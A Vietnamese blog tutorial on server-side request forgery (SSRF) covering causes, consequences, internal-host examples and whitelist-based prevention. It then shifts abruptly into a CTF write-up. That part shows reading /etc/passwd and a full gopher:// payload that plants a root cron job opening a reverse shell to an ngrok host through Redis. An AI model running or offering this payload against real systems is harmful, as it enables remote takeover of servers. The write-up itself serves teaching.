Server-side Request Forgery (SSRF) – giả mạo yêu cầu phía máy chủ là một lỗ hổng bảo mật mà nó cho phép kẻ tấn công sửa đổi tham số trong yêu cầu gửi đi để khiến máy chủ thực hiện truy xuất đến một miền tùy ý mà đó có thể là các dịch vụ chỉ nằm trong nội bộ như là database.
Hiểu đơn giản giống như việc có một kẻ giả mạo số điện thoại của vợ bạn và nhắn tin bảo bạn chuyển tiền, thì không nghi ngờ gì cả ngay lập tức bạn chuyển tiền vào số tài khoản ấy. SSRF cũng tương tự như vậy, nên nếu là 1 server thì bạn phải thực sự tỉnh táo trước các yêu cầu từ client.
II. Nguyên nhân
Nguyên nhân chính là do khi thông tin trong một ứng dụng web phải được lấy từ một tài nguyên bên ngoài, các yêu cầu phía máy chủ được sử dụng để tìm nạp tài nguyên và đưa nó vào ứng dụng web nhưng lại không kiểm soát chặt chẽ yêu cầu tìm nạp tài nguyên đó mà cho phép kẻ tấn công có thể hoàn toàn kiểm soát yêu cầu tìm nạp tài nguyên đến bất kì đâu ngay cả những nơi có chứa dữ liệu nhạy cảm.
Trong một vài trường hợp khác, server cho phép người dùng gửi đến 1 đường dẫn url với mục đích lấy dữ liệu vào do người dùng cung cấp và cũng như trường hợp trước, không kiểm soát chặt chẽ đầu vào đó của người dùng dẫn đến những hậu quả khôn lường.
III. Hậu quả
Một cuộc tấn công SSRF thành công thường có thể gây ra các hành động truy cập trái phép vào dữ liệu nhạy cảm trong tổ chức, trong chính ứng dụng dễ bị tấn công hoặc trên các hệ thống back-end khác mà ứng dụng có thể giao tiếp.
Trong một số tình huống, lỗ hổng SSRF còn có thể cho phép kẻ tấn công thực hiện tấn công thực thi mã từ xa (RCE) đem lại hậu quả vô cùng nghiêm trọng.
IV. Các cuộc tấn công SSRF
1. SSRF tấn công chính máy chủ
SSRF có thể giả mạo yêu cầu để truy xuất đến các miền khác nhau trong nội bộ hệ thống và nó bao gồm luôn cả chính máy chủ của nó, chính vì vậy cuộc tấn công SSRF có thể nhắm vào chính máy chủ và khai thác dữ liệu.
Ví dụ nha, một website có chức năng kiểm tra xem liệu trong kho còn bao nhiêu sản phẩm stockApi=http://stock.alexshop.com:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
Trong trường hợp này ta có thể sửa đổi thành stockApi=http://localhost:8080/admin. Tại đây máy chủ sẽ trả về nội dung của thư mục admin
2. SSRF tấn công các hệ thống back-end khác
Tương tự như trên nhưng mà lần này chúng ta tấn công vào một miền nằm trong sự kiểm soát của máy chủ, khó khăn hơn với việc bạn cần phải tìm chính xác được địa chỉ của miền mà bạn muốn tấn công vào, ví dụ: stockApi=http://192.168.1.48:8080/admin
Về việc tìm được địa chỉ của nó thì đó là điều khá dễ dàng khi bạn sử dụng thuật toán brute-force, nó chỉ có 255 trường hợp đối với 1 octet nên việc đó khá nhanh chóng.
Việc khai thác lỗ hổng không đơn thuần như thế này, đôi khi những thứ bạn truyền vào nằm trong danh sách bị chặn mà bạn cần tìm cách để vượt qua nó, hay là không nhất thiết bạn phải thay đổi hoàn toàn yêu cầu mặc định mà chỉ cần thay đổi một phần nhỏ như đường path dẫn đến file, miễn là nó có thể khai thác được thông tin mà bạn nhắm tới.
3. SSRF Blind
Phần này nó cũng tương tự như trên, kẻ tấn công gửi yêu cầu giả mạo và phía máy chủ thực thi nó nhưng thay vì trả lại kết quả như bình thường thì nó lại không trả về bất cứ thứ gì.
Để nhận biết được một lỗ hổng SSRF Blind, thông thường chúng ta sẽ thêm vào những payload độc hại một cách như là chúng ta chơi trò may rủi vậy, nếu gặp may các bạn sẽ thắng.
V. Cách phòng chống
Như đã nói ở trên cách ngăn chặn SSRF rất đơn giản, bạn chỉ cần lọc kĩ đầu vào của mỗi yêu cầu bằng cách sử dụng danh sách trắng thay vì danh sách đen
Danh sách trắng là những gì được phép truy cập còn danh sách đen là những gì không được phép. Dễ thấy kiến thức hay những câu lệnh là bao la vì vậy các bạn không thể nào chặn được hết các trường hợp, do đó chúng ta nên sử dụng danh sách trắng.
Theo thói quen thì mình thử nhập file:///etc/passwd để xem sao
Xác định được không hề có filter gì ở đây, nhưng vấn đề đặt ra là làm sao để leo thang đặc quyền lên quyền root mà lấy flag được nhỉ. Thực sự dạng bài này mình chưa gặp phải bao giờ nên mình đã loay hoay một khoảng thời gian khá lâu để search gg tìm kiếm thứ gì đó. Cuối cùng mình đã tìm thấy bài viết này.
Vì khá lười test hết các cổng nên mình đã thử ngay cổng 6379 (redis) để cầu may không ngờ được luôn
Vì phản hồi khá nhanh nên mình chắc chắn cổng này đang mở. Sau đó mình sử dụng tool gopherus để tạo payload, à còn sử dụng ngrok để public localhost
Gửi nó đến server và đợi kết quả, nhưng không hiểu sao server của mình hiện mỗi connect như này mà không rce được luôn @@
Sau một hồi mày mò mãi không được và nhờ sự giúp đỡ của người anh thì mình đã hiểu ra vấn đề, đó là do mình đã nhầm lần giữa port của localhost và port của ngrok, tức là payload được tạo ra bởi gopherus nó tự động gán port là 1234 và mình đã nhầm là phải tạo localhost với cổng 1234. Nhưng không phải thế, mình phải sửa lại payload theo đúng port của ngrok
Sửa lại payload theo port của ngrok, ở đây port ngrok của mình đang là 17980:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/0.tcp.ngrok.io/17980%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A